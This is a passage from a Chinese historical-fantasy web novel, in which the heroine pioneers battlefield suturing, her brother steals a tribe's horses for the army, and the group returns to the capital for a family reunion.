这次战争，双方都无作战的战马，皆是近身肉搏。赤焰士兵高大威猛，力量惊人，大乾士兵则胜在身姿灵活。而且，大乾士兵所使用的兵器乃是专门针对赤焰士兵的特点精心打造而成，能够在一定程度上与赤焰人的强大力量相抵抗。
这批兵器正是映雪之前在崖底发现的矿产所制，其设计则出自许牧舟之手。
映雪并不知晓，因这独特的兵器，皇上已然在心中给映雪记了一功，准备等映雪从凌羽出使回京后，一并给予嘉奖。
这两日，战场没有消息传来，映雪也连着几日都未能休息好。
翌日起床，清平见映雪眼底的青色，蹙眉道：“你实在放心不下，就让竹清今日送你回军营吧。这里有我和嘉柔在，不会出什么乱子。”嘉柔也极为赞同，说道：“那群姑娘们也很能干呢，有几人还识不少字。有她们帮忙，我和清平也清闲许多。”转而又道：“就是不知道大哥他们怎么样了，路途上是否顺利。”语气中带着几分担忧。
瞬间，三人的心情都低落下来。
映雪从而想到赤焰战马得了马瘟，赤焰军营定会第一时间去部落带回可用马匹，就怕大哥他们会与其撞上，心中担忧不已。
赤焰大多以部落群居，而养马的部落则会根据当下的环境迁徙，郑少臣与苏璟皓扮作商队的人顺利进入赤焰，在路上花重金请了一位赤焰的商贩，让其带着他们，花了四五日的功夫，才找到其中一个养马部落。
苏璟皓看着眼前那群在草原上驰骋的马匹，心中一阵热忱，问道，“少臣兄，现下要怎么办？直接找他们买吗？”
郑少臣摇头，“我们要的马匹数量太多，会引起他们的警惕，虽然他们重利，但万一他们察觉到什么异常，向赤焰的军队通风报信，那我们可就陷入绝境了。我们此行的目的不能暴露，必须想个周全之策。我看不如这样，你先在这儿盯着，我去附近查看一下他们部落的布局，看看有没有什么薄弱之处，再做打算。”
苏璟皓觉得郑少臣所言有理，点头道：“也好，你小心些。”
随即，苏璟皓就发觉这数千匹马仅仅只有两名放牧人看守。那些马在草原上分散得颇为松散，放牧人看起来也不是很上心，只是对其中几匹马格外留意。
苏璟皓心中疑惑不解，于是接连两天持续观察。他发现那几匹被放牧人格外关注的马是固定不变的，而且马头上有着非常醒目的特征。
苏璟皓不禁有些激动起来，赶忙去找郑少臣商量。他说道：“少臣兄，我想到一个办法，或许能让我们不花银子，就把这些马带回去。”
紧接着，苏璟皓便把自己的盗马计划详细地告知了郑少臣。郑少臣听了以后，脸上也难以掩饰激动的神情，称赞道：“此计着实巧妙，倘若能够顺利施行的话，无疑是最契合我们当下处境的办法了。”
而后，两人又针对这个具体的计划从头到尾、细
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致入微地探讨了一遍，将计划中的每一个步骤、可能遇到的情况以及应对措施都考虑周全，确保万无一失。
说罢，两人立即行动。郑少臣安排一名暗卫回大乾找人接应，暗卫领命后迅速离去。
映雪也在回城的第五日收到战场的消息，这才知晓那场战争已经持续了三天三夜之久。这场战争的伤亡极为惨重，映雪想到自己的医术，回到军营或许还能帮上忙，于是便跟着传信的士兵，还带上竹清和绿绮一同前往军营。
当映雪到达军营后，她看到一个满脸胡茬、头发蓬乱得如同杂草、衣衫褴褛并且散发着浓浓汗臭味的人。
她不禁一愣，差点没认出来眼前这个狼狈不堪的人就是许牧舟。只见许牧舟的双眼布满血丝，那浓重的黑眼圈就像是被人狠狠揍了两拳似的，原本英俊潇洒的面容此时只剩下无尽的疲惫与憔悴。映雪的心里一阵难受，她从未见过许牧舟这般落魄的样子。
许牧舟看到映雪来了，眼中瞬间闪过一丝惊喜，转眼低头嗅了一下身上的味道，眉头紧蹙，然后拖着仿佛灌了铅般沉重的步伐朝着映雪缓缓走来，声音沙哑地问道：“你怎么来了？”
映雪眼中含泪，关切地问：“你有没有受伤？”
许牧舟努力挤出一丝微笑，回答道：“只是一点小伤，不碍事的。”说完便询问映雪怎么会来到这里。
映雪一脸严肃地说道：“我想去伤病营帮忙，能多救一个是一个。”
许牧舟皱起眉头，不太赞同地说：“伤兵营里的惨状你恐怕承受不了。要是想帮忙的话，你可以多制作一些金疮药啊，你之前给我带过来的那些金疮药，药效可比军中现有的药物要好得多。”
映雪有些没好气地回应道：“制药当然没问题，但是我都还没去伤兵营看过，你怎么就知道我不行呢？”
许牧舟听后轻轻笑出了声，也不再劝解，直接带着映雪朝着伤兵营走去。
在军中，算上胡大夫，共有三位军医。这三位军医面对如潮水般涌来的伤员，早已忙得不可开交，每个人都面容憔悴，眼睛里满是疲惫和焦虑，却还在强撑着为伤员们诊治。
刚踏进伤兵营，血腥腐臭之气扑鼻而来，映雪强忍不适抬眼望去。
只见简陋的营帐内，一排排简易的床铺紧密排列着，几乎没有落脚之处。床上躺着的伤兵们状况各异，惨不忍睹。
有的士兵缺了胳膊断了腿，伤口处缠着已经被血浸透的布条，血还在不断往外渗，滴落在地上汇聚成小血洼；有的士兵腹部被利器划开，肠子似乎都要流出来，整个人面色惨白如纸，嘴唇毫无血色，眼睛半睁半闭，嘴里发出微弱的痛苦呻吟声；还有的士兵头部受伤，满头满脸都是干涸和正在流淌的血液，头发被血黏成一缕一缕的，神志不清地呼喊着家乡或者战友的名字。
映雪见状，顿觉胃里一阵翻江倒海，脸色瞬间变得煞白，她赶忙用手捂住嘴，转身就往营帐外冲去，生怕自己一个忍不住就在这营帐之中呕吐出来。
100. 缝合术
映雪扶着绿绮匆匆跑到外面干呕起来，许牧舟赶忙跟上，轻轻拍打着映雪的后背，似在安抚，同时还不忘揶揄道：“还要不要进去帮忙？”
映雪直起身子，眉头紧蹙，满脸疑惑地问道：“为何那些明显伤得更重的士兵却没有军医医治呢？”
许牧舟的声音低沉而无奈：“那些士兵伤势过重，几乎没有救治的希望了。把他们带回营地，也只是想让他们能在熟悉的地方度过最后的时光。战场上药材匮乏，军医数量又有限，只能优先救治那些尚有生机、救活几率较大的士兵。对于那些重伤濒死之人，并非不想施救，实在是心有余而力不足。若是将精力都耗费在他们身上，恐怕会让更多本可救活的士兵失去生机。这便是战争的残酷。”
映雪听了，眼眶泛红，心中满是沉闷。以前身处京城繁华之地时，她虽然知道众人的安稳皆是靠这些士兵们用鲜血和生命换来的，却从未像现在这般真切地感受到战争的残酷与无奈。
许牧舟见映雪如此难受，轻声宽慰道：“别难过，他们都是英雄，都在为心中的大义而战。或许不久的将来，大乾的医术更加精湛，到那时这些伤势都不算什么，就能挽救更多的生命了。”
映雪顿时想起她曾在玉佩里的秘方中看到的一例病案，里面提到可以用羊肠线对刀口进行缝合，心中激动不已，忙道：“我想到办法了，你先去洗漱歇息吧，我要去试试。”说罢，转身就要走。
许牧舟无奈，只得柔声道：“我送你过去。”
之前映雪为了给病马救治，景阳侯特意给她单独准备了营帐歇息，离许牧舟的营帐不远。
映雪回到营帐后，立刻动手开始布置，好在医箱中的工具还算齐全。她让暗卫捉来几只活兔，看着眼前活蹦乱跳的兔子，心中有些不忍。绿绮也面露害怕之色，问道：“姑娘，您真要让竹清把这些兔子给杀了？”映雪皱着眉回答：“不是杀，只是在它们身上割道口子，我要做实验。”
绿绮撇撇嘴说：“那还不是杀吗？奴婢就没见过身体被割开的兔子还能活着的。”
映雪不耐烦地说道：“行了，你要是不敢看就先出去，去军灶那里看看有没有能帮上忙的。”
绿绮却立刻站直身子，说道：“奴婢陪着姑娘。”
映雪之前在军营里住过几日，绿绮为了照顾她的饮食，和军灶中的士兵混得比较熟，偶尔也会帮些忙。
映雪深吸一口气，在心中给自己打气，告诉自己这是为了救治更多的人，而且她也一定会想办法保住这些兔子的性命。随后便吩咐身边的竹清：“动手吧。”
竹清动作十分利落，眨眼间就在兔子的腹部划开了一道口子，里面的内脏都隐约可见，兔子的呼吸顿时变得微弱起来。映雪赶忙动手，在兔子的伤口上撒上药粉，然后进行缝合。
一共缝合了五只兔子，其中两只在缝合过程中就死去了，另外三只虽然还有呼吸，但气息逐渐微弱，到第二天映雪一早起来查看时，发现它们也都死了，而且缝合的伤口处还有些腐烂。映雪像是受到了沉重的打击，一言不发。
绿绮把早膳端了过来，映雪毫无察觉，依旧沉浸在自己的思绪当中。
绿绮朝着映雪喊道：“姑娘，您先净手吃饭吧，有了力气才能想出办法呀。”见映雪没有反应，又上前安慰道：“姑娘，您别灰心。奴婢在想，会不会是脏东西进到兔子的伤口里，才让它们的情况越来越糟呢？就像用脏刀切的菜容易烂掉一样。”
映雪突然灵光一闪，不禁暗自责备自己太笨，竟然忘记给兔子和刀具消毒了。她马上对绿绮夸赞道：“绿绮，你可真是一语点醒梦中人啊。等回了城，本姑娘一定要好好赏赐你。”
用完早膳后，映雪又让暗卫去树林里捉了几只兔子，并且派人去城里买回几坛烈酒，提炼成酒精用于消毒。
浓郁的酒气在军营中弥漫开来，引起了众人的注意。景阳侯正在召集下属商议战事，沐将军闻到酒香，陶醉地说道：“好烈的酒啊！”紧接着便怒吼道：“军中怎么会有酒？这是谁干的好事？”
许牧舟皱着眉，温和地解释道：“映雪正在研制缝合术，这应该是用于消毒的酒精。”
这时又有将军询问什么是缝合术，许牧舟便详细解释了一遍。景阳侯听后，难掩兴奋地说道：“这缝合术要是能在军中使用，伤兵的存活率将会提高一半以上啊。”又接着说：“若是成功了，映雪可是立了大功，要是军中的士兵，至少能连升三级。”其他将军也纷纷点头附和，毕竟没有哪个好将军不心疼自己手下的士兵。
胡大夫得知消息后，找到映雪询问情况，随后在映雪的邀请下，两人一起反复进行实验。终于，到了第四天，被缝合的兔子全部存活下来，而且没有出现呼吸减弱的症状。
胡大夫提议道：“郡主，老夫觉得这缝合术刚好可以用在这批伤兵身上了。”
映雪有些犹豫，说道：“可这才试验了没几天，要不要再找些兔子来实验，这样把握更大一些。”
胡大夫叹息着说：“那些伤兵可能等不了了，也就这两天的事了。”话音刚落，就有士兵前来禀告：“郡主，胡大夫，侯爷请你们过去。”
景阳侯询问了两人实验的情况，得知兔子全部存活的消息后，不由得开怀大笑：“好。”
映雪趁机向景阳侯询问给是否现在就给伤员缝合的事情，想征求他的意见，景阳侯当机立断地说：“直接去做，不用担心，其他事情有我担着。”
映雪见景阳侯也同意了，便不再犹豫，立即着手安排相关事宜。
回到营帐，映雪一眼就瞧见几日不见的清平、嘉柔和唐靖远都在，顿时面露欢喜之色，说道：“你们怎么也过来了？”
嘉柔欢快地迎了上来，脸上带着盈盈笑意，说道：“映雪姐姐，我们过来看你呀。”不过她随即又皱着眉头抱怨起来：“映雪姐姐，你都想象不到我们这一路有多惊险。我们刚走到离这儿不远的那片树林时，就碰到两个鬼鬼祟祟的人。我们客气地向他们打听军营该怎么走，哪晓得这两人二话不说，瞬间神色变得凶狠无比，抬手就要朝我们砍来。还好唐大哥反应敏捷，一下子就制住了这两个人。”
映雪听了这话，心中顿时担忧起来，赶忙对他们从头到脚仔细打量了一番，说道：“
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还好你们没出什么事，那后来呢？”
嘉柔兴奋地回答道：“我们把附近巡逻的士兵引了过来，然后就把这两个人交给士兵了。是那些士兵带着我们来到这儿的。”
映雪的神色变得有些凝重，微微皱眉说道：“奇怪啊，这周边都是景阳侯派人在把守的，怎么会出现这样的坏人呢？而且他们居然还对你们起了杀意。”
清平轻轻蹙了一下眉毛，沉声道：“可能是奸细，想要传递什么消息出去。”
唐靖远也在一旁说道：“反正人都已经交给军营里的人了，一会儿便会知道是情况了。”
映雪听了，点了点头，随即看向唐靖远，夸赞道：“这次可多亏有你了。你看，大家把她们俩的安全托付给你，你这不就发挥作用了嘛，这可算得上是大功一件呢。”
唐靖远听了这话，脸微微一红，谦虚地说道：“小师叔过奖了，这些都是我分内之事。”
几个人聊了一会儿天，绿绮便招呼了几个士兵把午膳端了过来。
嘉柔看到眼前的伙食，一碗糙米饭，一道看起来不知道是什么肉的野菜炖肉汤，还有一碟咸萝卜干，她立刻皱起了眉头，说道：“映雪姐姐，军营里的伙食就吃这些啊？”
映雪笑着回答道：“这哪能算是平常的伙食呀，今天都算是加餐了呢，平常的时候连肉沫都看不到。”
原来这野菜炖肉汤里的肉就是那些兔子肉，许牧舟声称好歹是肉，可以打打牙祭。
映雪一开始坚决不肯吃，可是连续吃了几顿素之后，觉得这兔肉也不是那么难以下咽了，兔子也算是死得其所。
嘉柔一听到这肉的来历，顿时没了胃口，说什么也不肯吃了。
清平略作思索，然后对映雪说道：“之前郑世子不是提过，你从永安侯府带在路上吃的面块适合做军粮吗？要不趁着这次我和嘉柔都有空，再仔细琢磨琢磨，看看有没有什么好的办法能够改善一下军营中的伙食？”
映雪连连点头，又问道：“慈善堂那边没有要忙的吗？”
清平柔声道：“安排了两个姑娘在管事，她们把各项事务都处理得妥当的，暂时不需要我们帮忙。”
映雪听了，这才放下心来。
这时，许牧舟走进营帐，将唐靖远抓住的那两名奸细的身份告知了众人。原来，其中一人是前一年谋害景阳侯使其中毒昏迷的那伙奸细中的人。隐藏得极深，当时搜查的时候没有被找出来。为了保住性命，一直以来也不敢轻举妄动。这次探听到许牧舟准备制造赤焰内乱的军情，事关重大，于是便把消息传送出去。而另一人是附近的猎户。他们在树林里接头的时候，恰好碰到嘉柔一行人。见是两个弱女子，又看唐靖远像是手无缚鸡之力的贵公子，怕走露风声，便起了杀念。
却没想到唐靖远还是个高手，能将两人止住。
嘉柔闻言，兴奋地说道：“那唐大哥这次岂不是还立了军功？”
许牧舟颔首，唐靖远的脸上也带着几分难以抑制的激动。
映雪却微微皱眉，想到许牧舟口中提到的任务，看向许牧舟问道：“那你是不是要去赤焰？”
101. 来信
许牧舟抬手在映雪的头顶揉搓了几下，语气轻松地说道：“不用担心我，我自有分寸。”
映雪沉默片刻，低声问道：“何时出发？”
许牧舟笑道：“等少臣兄他们回来就出发。”
嘉柔一听，激动地说道：“大哥他们要回来了吗？他们真的把马带回来了？”
许牧舟点头，笑意盈盈地说道：“不错，他们这次任务完成得非常出色，预计这两日就能到了。”
映雪等人听闻，心中满是欢喜，清平的脸上也难掩兴奋之色。
用膳之后，映雪就被胡大夫请去了伤兵营。也许是接连几日对着鲜血淋漓的兔子做实验，让她有了一定的适应能力，此时进入伤兵营，映雪已经能够做到面不改色了。
清平与嘉柔留在军营之中，思索着改善军营伙食的办法。
翌日，郑少臣和苏璟皓带着三千多匹骏马回到了军营。
虽然映雪等人已经提前得知消息，但亲眼目睹这一场景时，心中还是受到了不小的震撼。景阳侯对二人赞不绝口，说道：“果然是少年出英雄，大乾有你们这些优秀之人，怎能不昌盛。”
映雪见大哥苏璟皓虽然黑瘦了许多，但眼神却神采奕奕，心中的担忧便消散了，于是向大哥问道：“你们是用了什么方法？竟然能不动声色地带回这么多马？”
苏璟皓也十分激动，将他们盗马的经历一一道来。
原来，苏璟皓察觉到那群马的习性，只要那几匹头上有着醒目标记的领头马有异常举动，其他的马就会跟随。他们就想到，如果能引诱住这几匹领头马，就能顺利带走其他的马。那个部落离大乾不远，中间只隔着一片沙洲，而放牧人在放牧时距离部落有一定的距离。暗卫解决掉那两个放牧人后，他们一路用特殊处理过的马料引诱领头的几匹马，就这样把马群引入了大乾。一旦进入大乾境内，后面的事情就顺利多了。当然，这一路也并非一帆风顺，要不是运气好，碰到了专门贩马的商人，或许这群马会跑掉一半呢。
映雪听得津津有味，打趣苏璟皓道：“大哥，难得你也有这么机灵的时候，等回到京城，爹要是知道了，肯定会特别欣慰的！”
众人听了，哈哈大笑起来。
随后，景阳侯对众人说道：“这几日你们好好休整一下，准备回京的行程，你们的军功，本侯会亲自写信向皇上讨要。”
映雪等人早从许牧舟那里得知这个消息，已经做好了回京的准备。
苏璟皓却有些不舍，说道：“我们才回来，这么快就要回京了吗？”
映雪白了苏璟皓一眼，说道：“大哥，现在都八月份了，你是不是忘了十月份你还要参加会考呢？”
苏璟皓这才打消了继续留在军营见识的念头。
他们离开京城已经半年多了，确实也该准备回京了。
夜晚，景阳侯在军营里为郑少臣和苏璟皓举办庆功宴，同时也为许牧舟饯行。为了这顿庆功宴，映雪等人没少忙活，都到军灶帮忙去了。这些十几年没碰过锅碗瓢盆的贵女们一上灶台，结果自然是状况百出。映雪甚至被军灶里的小兵嫌弃了。不过好在她们吃过不少美食，点子也多，提供了几道适合在军营制作的菜色。
许牧舟等人则到附近的树林中打猎，不仅带回了野鸡、兔子，还扛了一头野猪回来。
由于前几日的大战，赤焰也遭受重创，这几日都在休战。
庆功宴办得热闹非凡，映雪心中满是不舍，或许此次军营之行将会成为她人生中最为特殊的一段经历。
第二日，许牧舟便离开了军营。映雪则全身心地投入到伤员的救治工作当中。当然，她主要是在旁边进行指导，实际动手操作的是胡大夫和另外两名军医。映雪对他们毫无保留，倾囊相授。一有闲暇时间，她就带着绿绮和竹清一起制作金疮药，并且把金疮药的药方提供给了胡大夫，还有制作酒精的方子。这些都是在军营中救命的关键手段，映雪毫不藏私，胡大夫和军医们对映雪的深明大义钦佩不已。
清平则趁着这几日，把能想到的可以用于改善军中伙食的方案尽可能地完善起来。她先是仔细考量了食材的获取与储存难度，毕竟军营之中，物资的供应和保存是首要问题。
好在皇天不负有心人，在大家的努力下，军中伙食得到了改善。除了行军路上新增的炒米和面饼之外，这面饼是结合映雪给出的面块方子改进而成的，它最大的优点就是可以直接食用，无需加水煮熟，这在行军途中非常实用，毕竟行军时未必能具备生火煮食的条件。
而在军营里，伙食种类也丰富了起来。增加了菜干、泡菜、笋干、熏肉、熏鸡之类的菜品。这些菜品都具有易于保存的特性，像菜干炖肉，炖煮之后味道十分鲜美。为了确保这些食材的稳定供应，清平特意与靖宁城的菜农达成合作，让他们按照规定的时间和数量为军营供货。
由于有凌羽国的银子作为支持，并且这些银子全部都用在了军需方面，所以在改善军中伙食这件事情上，自然没有遇到什么阻碍。
映雪回到城里的当日，就收到了从京中永安侯府寄来的信件。
永安侯在信中催促映雪等人尽快回京。他们从凌羽国回来已经过了些时日，永安侯在信里透露，皇上对他已经露出不满之色，言外之意就是嫌他这个做父亲的管束不住自己的儿女。皇上也不好直接下令，毕竟映雪的任务已经完成，于是便把压力施加到永安侯身上。
祖母也寄来了信件，信里告知映雪，新夫人已经有两个多月的身孕了，映雪就要当姐姐了。
映雪看到这个消息时，情绪难以抑制，激动得眼眶泛红，险些落泪。
嘉柔见状，调侃道：“映雪姐姐，不知道的人还以为是
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你的亲生母亲要给你生弟弟妹妹呢。”在嘉柔看来，毕竟是继母所生的孩子，按常理来说，天生就容易与自己产生利益冲突，所以她不太理解映雪为何如此激动。
其实映雪只是因为父亲这辈子的命运与上辈子截然不同而感到高兴，新生命的到来，对父亲而言意味着开启了新的人生。
映雪平复了一下心绪，说道：“永安侯府一向子嗣不兴旺，如今新夫人有孕，我自然是为父亲感到高兴了。”
众人听了她的话，瞬间便理解了。毕竟永安侯府除了苏璟皓之外，就只有一个庶子。一个家族想要兴旺，人丁兴旺是很重要的一方面。而且不管怎样，以苏璟皓目前的地位，就算新夫人生下嫡次子，也不会对他的地位产生什么影响。
随即，众人聊起了回程之事。从靖安城返回京城，即便一路上不做任何停留，也需要近一个月时间。等到回到京城，苏璟皓和唐靖远就要闭门专心读书，准备参加会考了。
好在这一路走来经历颇为丰富，他们对于以前书中那些难以理解的话语也有了新的感悟和见解，也算是在学识方面有所长进。
映雪几人前往慈善堂辞行，并且把她们与将士们相看的事，转交给了景阳侯属下负责内务的管事。自从那些女子投身于慈善堂的事务之后，她们的心态发生了很大的转变，已经不再纠结于嫁人之事，一切都抱着随缘的态度。
在映雪等人即将出发之际，景阳侯单独召见了映雪。
景阳侯望着映雪，目光里满是赞许之色，随后拿出一枚私章，然后朝着映雪递了过去，嘴角噙着一抹笑意，说道：“苏丫头，这枚印章是我年轻时候用过的。如今就送给你，往后要是遇上那些个不长眼的家伙，把这印章拿出来，说不定就能震慑住他们。”
映雪一瞧这情形，赶忙摆手拒绝，说道：“许伯伯，这礼物太贵重了，映雪可不能收下。万一不小心弄丢了，那可就会惹出大麻烦来的。”顿了顿，她又接着说道：“许伯母和许祖母都已经给我送过见面礼了，许祖母还把明月山庄都赠予我了呢。我要是再收下您这枚印章，那可真成了贪心不足之人了。”
景阳侯听了，仰头哈哈大笑起来，那笑声浑厚有力，仿佛有一种能让人不由自主地安心下来的魔力。他边笑边说道：“要是我的见面礼太过寒酸，等回到京城，你许伯母还不知道要怎么埋怨我呢。”为了让映雪彻底安心，他又补充道：“你不用担心，别人就算拿了这枚印章，也做不了什么坏事的，你就安心地收下吧。”
映雪见景阳侯如此坚持，也不好再推辞，便双手接过印章，恭敬地对景阳侯说道：“多谢许伯伯，映雪一定会妥善保管好这枚印章的。”
景阳侯看着映雪，笑着点了点头，眼神里满是欣慰。
随即，几人登上马车，车夫扬起马鞭，马车缓缓启动，一路朝着京城疾驰而去。
102. 京城
经过二十多天的长途跋涉，一行人终于抵达京城。二月初离京时还是春寒料峭，如今八月底归来，已然秋意渐浓。
嘉柔难掩激动，说道：“总算是到了。”话音刚落，她便熟稔地从马车上一跃而下，嘟囔着：“这马车坐得我厌烦透顶。”
映雪与清平也相继下了马车。映雪抬眸望向那在夕阳余晖映照下庄严肃穆的京城城门，心中涌起一种恍若隔世的感觉。
忽然，前方传来阵阵呼喊“世子、姑娘”的声音，充满激动之情。映雪抬眼望去，原来是永安侯府的家丁朝着他们快步赶来。紧接着，豫亲王府和康郡王府的家丁也纷纷赶来。
待郑少臣和苏璟皓询问过后才知晓，原来是府中的长辈估算着他们近日就会抵达京城，所以早早安排家丁在此守候。
这一行人聚集在城门处，大家七嘴八舌地问个不停，将城门堵得严严实实。郑少臣见状，不禁皱起眉头，打断众人道：“行了，有什么话，咱们先回府再说。”言罢，便向苏璟皓等人道别。嘉柔虽不情愿，但还是重新登上马车，朝映雪招手告别，口中还喊着：“映雪姐姐，记得来找我玩啊！”清平紧随其后。
此时，只剩下映雪、苏璟皓和唐靖远。映雪对唐靖远说道：“要不你直接随我们回府吧，你和大哥正好能一同温书，彼此也有个伴。”苏璟皓亦点头赞同，热情相邀。
唐靖远却委婉拒绝，说道：“多谢小师叔和苏兄的好意，家母已让下人提前将唐府收拾妥当，我直接回府。过些日子，我再邀请你们来唐府做客。”
映雪见唐靖远已有安排，便不再强求，点头叮嘱道：“在京城莫要乱跑，这段时间就在府里安心温书，若有事情，随时来侯府找我们便是。”唐靖远点头应下，随即翻身上马，朝映雪和苏璟皓拱手行礼：“小师叔，苏兄，那我先行一步了。”
苏璟皓见众人皆已离去，赶忙催促映雪：“妹妹，我们也赶紧回府吧。小厮已经回府禀告，想必祖母他们都在等候了。”映雪颔首，旋即登上马车。
马车在永安侯府门前缓缓停下，刚下马车，便有下人前来请安，随后便朝着内院奔去，口中喊道：“世子和三姑娘回府了。”
映雪和苏璟皓快步朝着荣晖堂走去，只见长辈们都已齐聚在此。
映雪和苏璟皓赶忙下跪向老夫人请安，说道：“祖母，孙儿（孙女）不孝，此番离京许久，未能在您身旁尽孝，徒让祖母担忧牵挂，还请祖母恕罪。”
老夫人眼眶泛红，身子微微颤抖，忙对秦嬷嬷吩咐道：“快，快去将他们扶起来。”
随后，两人又依次向永安侯、新夫人、二老爷和二夫人请安。永安侯亦是眼眶微红，欣慰地说道：“回来就好，回来就好。”
新夫人面带微笑，眼中满是慈爱，轻轻拉起映雪的手说道：“三姑娘这一路定是吃了不少苦头，瞧着都消瘦了些，日后可得好好调养。”映雪乖巧地应了一声。
二老爷也面带喜色，点头说道：“你们这一去一回，必定历经诸多事情，如今平安归来就好，往后就在府里好生歇息。”
二夫人在一旁附和着：“可算是回来了，大家都惦记着你们呢。”
一番欢声笑语之后，映雪和苏璟皓留在荣晖堂陪伴老夫人一同用晚膳。侯府为映雪和苏璟皓筹备的接风宴安排在次日，毕竟他们一路舟车劳顿，当晚恐怕过于疲倦，也无精力参加宴会。
在荣晖堂用过晚膳后，映雪便回了映月阁。接着又是接连不断的请安和安抚。随后，竹韵为映雪准备好了沐浴用的花瓣水。
映雪惬意地泡在浴桶里，瞧见左胸上的印记已然变成淡淡的金色。她闭上眼睛，开始查看，这一看可不得了，里面的功德积分闪耀得几乎要刺痛双眼，灵液也源源不断地潺潺流出。映雪心中激动万分，有了这些，永安侯府训练暗卫可就容易多了。
此次离京之行，映雪深刻地体会到拥有暗卫底蕴的重要性。永安侯府如今除了暗卫方面有所欠缺之外，其他方面可谓是一应俱全。然而，暗卫的培养并非一蹴而就之事，需要花费大量的时间和精力。但若是有秘药相助的话，就能够加快训练的速度了。
映雪躺在柔软舒适的花梨木床上，却久久未能入眠。许是在外面漂泊久了，习惯了简陋的卧榻，如今这高床软卧反倒让她觉得有些不自在，思绪就像脱缰的野马，怎么也平静不下来。
待翌日她醒来，太阳都已经高高升起，日上三竿了。由于府里晚上有晚宴，映雪便特意留着肚子，对于端上来的膳食，她只是每样品尝了几小口。
刚放下碗筷，就有丫鬟上前禀告：“姑娘，宋嬷嬷来了。”
映雪轻轻点头。不一会儿，宋嬷嬷便恭敬地走了进来，向映雪请安，说道：“郡主万安。老奴此次前来，是向郡主辞行的。如今既已回京，老奴便要回东宫复命了。”
映雪轻轻叹了口气，说道：“嬷嬷，咱们相处也有半年的时光了。这半年来，多亏嬷嬷悉心照料，才让我这一路上过得顺遂舒心，我心中对嬷嬷满是感激。我也不把嬷嬷当外人了，就直截了当地问嬷嬷一句，嬷嬷您是否愿意留在侯府继续照顾我？”
宋嬷嬷听闻映雪的话，先是一愣，随即脸上露出惊喜与感激交织的神情。她恭敬地再次欠身，说道：“郡主如此厚爱，老奴感激涕零。能得郡主垂青，留在郡主身边继续伺候，这于老奴而言，是求之不得的荣幸之事。只是老奴是东宫之人，须得太子殿下应允。”
映雪轻轻颔首，嘴角噙着一抹浅笑，温声说道：“嬷嬷且放宽心，只要嬷嬷愿意留下，太子殿下那边自有我去说服。”
宋嬷嬷听闻，屈膝行礼，声音微颤：“郡主厚意，老奴无以为报。若能得太子殿下恩准留下，老奴定全心侍奉郡主。”
映雪微笑点头，两人达成共识。宋嬷嬷心中满是感激与期待，又与映雪说了些贴心话后，便恭敬地告退了。
宋嬷嬷伺候过先皇后，看着太子长大。如今东宫有了太子妃，太子妃重用自府中带来的人，虽对宋嬷嬷敬重，却透着疏离。宋嬷嬷在东宫行事多有顾忌，不如在映雪身边自在，映雪敬重信任她，让她感到舒畅安心。
映雪随即召来竹韵，想要细细询问这几个月府内的情况。
竹韵将府中的事情一一道来，映雪得知新夫人性情温和，自嫁入侯府三个月后便开始接手管家事务。她处理府中事务时沉稳有加，与二夫人相处得颇为融洽，对待下人也是宽容和蔼。映雪心中的担忧这才渐渐消散。
随后，映雪又问到苏沁雪的情况。竹韵听了，不禁迟疑了一下，才回答道：“四小姐如今不在府里，去了侯府京郊的庄子上。”
映雪听闻，心中诧异，不禁皱起眉头，问道：“怎么回事？”
竹韵微微摇头，道：“奴婢知道的不多，只是听说与三皇子有关。”
映雪挑眉，心中虽有疑惑，但
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想着晚些时候去问祖母，便暂且放下此事。随即让竹韵把自己为府里众人准备的礼物都拿了出来，并吩咐竹韵和绿绮按名单一一送过去。
没过多久，苏秀蓉也带着夫君回了侯府。苏秀蓉径直来到映月阁看望映雪。映雪抬眼便瞧见苏秀蓉微微凸起的腹部，赶忙迎了上去，兴奋地说道：“大姐姐，你肚子里有小宝宝了？”苏秀蓉温柔地轻抚了下肚子，随即带着哭意指责映雪道：“你这野丫头，还舍得回来？你不知道，你离京的这几个月，祖母每次念到你就要伤心好一阵子，还总是担心你在外面吃不好、睡不好，遇到什么危险。我也整日里牵挂着你，你倒好，在外面逍遥自在，可让我们在家里为你操碎了心。”说罢，用手帕轻轻擦拭着眼角的泪花。
映雪立即认错，轻哄道：“大姐姐，是我错了，你现在怀着身子，可不能流眼泪。都说孕期落泪对身子不好，而且小宝宝也能感受到母亲的情绪呢。”说罢，拉着苏秀蓉的手，让其坐下，道：“我还给大姐姐带了礼物呢。”
接着便让绿绮把她给苏秀蓉准备的礼物拿了过来，一个精致的匣子。打开匣子，只见里面各种颜色的宝石，满满一个匣子，颗颗晶莹剔透、纯净无暇。
苏秀蓉忙拒绝：“太贵重了，我不要。我又不缺首饰，你留着自己戴，你也到该是好好打扮的年纪了。”
映雪却把匣子塞到苏秀蓉的丫鬟手中，笑嘻嘻地说道：“大姐姐就莫要推辞了，我这儿别的不多，就宝石多着呢。大姐姐您向来心灵手巧，把这些宝石带回去，自己设计首饰图样，再拿到银楼去定制，到时候大姐姐戴上，必定美得像天仙，大姐夫见了，怕是要被迷得晕头转向呢。”映雪说这话时，眼中满是戏谑的神色。
苏秀蓉的脸一下子涨得通红，她恼怒地瞪着映雪，娇嗔道：“你这小丫头，净在这儿胡言乱语！”映雪却满不在乎地调皮一笑。紧接着，映雪关切地询问苏秀蓉在萧府过得如何，苏秀蓉也心疼地打听映雪离京这数月的经历。映雪嘴上说着一切都好，可苏秀蓉心里明白，这丫头肯定吃了不少苦，不由得更加心疼起来。
直至有丫鬟前来禀告：“姑娘，晚宴已经筹备妥当，夫人差人来知会了。”
映雪和苏秀蓉这才起身朝着宴厅走去。
侯府主子不多，一张紫檀木圆桌恰好坐满。
永安侯坐于主位，见众人到齐，举杯笑道：“璟皓与映雪离京数月，府中牵挂。如今平安而归，这团圆饭专为二人接风。我们共饮此杯，愿二人顺遂无忧，侯府福泽绵延、家族昌盛。”
说完，永安侯一饮而尽。众人随即举杯，高呼“愿如侯爷所言”后饮尽杯中酒，气氛变得更加热络欢快。
宴会进行到一半，下人匆匆禀告：“侯爷，宫中赐了菜过来。”
众人皆喜，皇上赐菜乃是极大荣耀。
随即一位公公提着食盒稳步走了进来，向永安侯恭敬请安后说道：“皇上口谕，今赐永安侯府佳肴两道，以表朕心。另请慧敏郡主明日进宫面圣。”
永安侯接旨高呼道：“臣领旨，谢主隆恩。”众人行礼。
待公公离去，永安侯目光投向映雪，面上带着温和的笑意，道，“应该是好事，皇上要对你们论功行赏。”
说罢，宴会又热闹了几分。
映雪嘴馋，宴会上偷喝了不少果酒，侯府的果酒有些霸道。
翌日迷迷糊糊醒来，差点误了进宫的大事。
103. 婚期
